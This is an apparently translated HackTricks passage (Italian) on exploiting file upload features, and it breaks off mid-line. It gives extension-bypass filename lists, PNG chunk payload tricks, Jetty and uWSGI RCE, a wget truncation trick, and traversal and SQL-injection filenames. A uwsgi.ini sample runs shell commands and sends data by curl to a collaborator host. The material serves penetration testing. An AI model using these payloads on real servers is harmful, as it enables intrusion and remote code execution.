# Caricamento file
Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
{% embed url="https://www.stmcyber.com/careers" %}
## Metodologia generale di caricamento file
Altre estensioni utili:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Lavorando in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
### Eludere i controlli sulle estensioni dei file
1. Se vengono applicati, **controllare** le **estensioni precedenti**. Testarle anche utilizzando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
2. _Controllare **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (utilizzare anche le estensioni precedenti):_
* _file.png.php_
* _file.png.Php5_
3. Provare ad aggiungere **caratteri speciali alla fine**. Potresti utilizzare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a utilizzare le **estensioni precedentemente** menzionate_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Provare a eludere le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche utilizzare le **estensioni precedenti** per preparare un payload migliore._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Aggiungere **un'altra serie di estensioni** al controllo precedente:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Provare a mettere l'estensione **exec prima dell'estensione valida** e sperare che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
* _es: file.php.png_
7. Utilizzare lo **stream di dati alternativi NTFS (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per eludere ulteriori restrizioni (ad es. “file.asp::$data.”)
8. Provare a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
```
# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta quante caratteri permette. Diciamo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
* Bypassa i controlli sul **Content-Type** impostando il **valore** dell'**header Content-Type** su: _image/png_, _text/plain_, _application/octet-stream_
1. Wordlist per Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Bypassa il controllo del **magic number** aggiungendo all'inizio del file i **byte di un'immagine reale** (confondere il comando _file_). Oppure introduci il codice shell all'interno dei **metadati**:\
`exiftool -Comment="' >> img.png`
* Se viene aggiunta **compressione alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti utilizzare il **chunk PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti utilizzare il **chunk IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti utilizzare il **chunk tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Altri trucchi da verificare
* Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
* Trova una vulnerabilità di **Inclusione di File Locale** per eseguire il backdoor.
* **Possibile divulgazione di informazioni**:
1. Carica **più volte** (e allo **stesso tempo**) lo **stesso file** con lo **stesso nome**
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
3. Carica un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS** (Windows).
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome (Windows).
6. Carica un file in **Windows** utilizzando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà del codice** quando aperto accidentalmente dalla vittima.
### Trucchi speciali sull'estensione
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco del file **.htaccess per eseguire codice**](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco del file **.config per eseguire codice**](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...).
L'estensione `.inc` viene talvolta utilizzata per i file PHP che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **l'esecuzione di questa estensione**.
## **Jetty RCE**
Se puoi caricare un file XML su un server Jetty, puoi ottenere [RCE perché i **nuovi file \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e attendi la shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
## **uWSGI RCE**
Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: [Sfruttamento di uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI fanno leva su una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
Considera il seguente esempio di un dannoso file `uwsgi.ini`, che mostra vari schemi:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Per attivare e analizzare la configurazione, il processo uWSGI deve essere riavviato (potenzialmente dopo un arresto anomalo o a causa di un attacco di negazione del servizio) o il file deve essere impostato per il ricaricamento automatico. La funzionalità di ricaricamento automatico, se abilitata, ricarica il file a intervalli specificati alla rilevazione di modifiche.
È cruciale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.
## **Trucco di caricamento file/SSRF di wget**
In alcune occasioni potresti scoprire che un server sta utilizzando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere eluso.**\
La **lunghezza massima** di un **nome file** in **Linux** è **255**, tuttavia, **wget** tronca i nomi file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **eluderà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Nota che **un'altra opzione** a cui potresti pensare per eludere questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, in modo che l'URL iniziale eluda il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
## Strumenti
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è un potente strumento progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
## Dal caricamento file ad altre vulnerabilità
* Imposta il **nome file** su `../../../tmp/lol.png` e prova a ottenere una **traversata di directory**
* Imposta il **nome file** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere un'**iniezione SQL**
* Imposta il **nome file** su `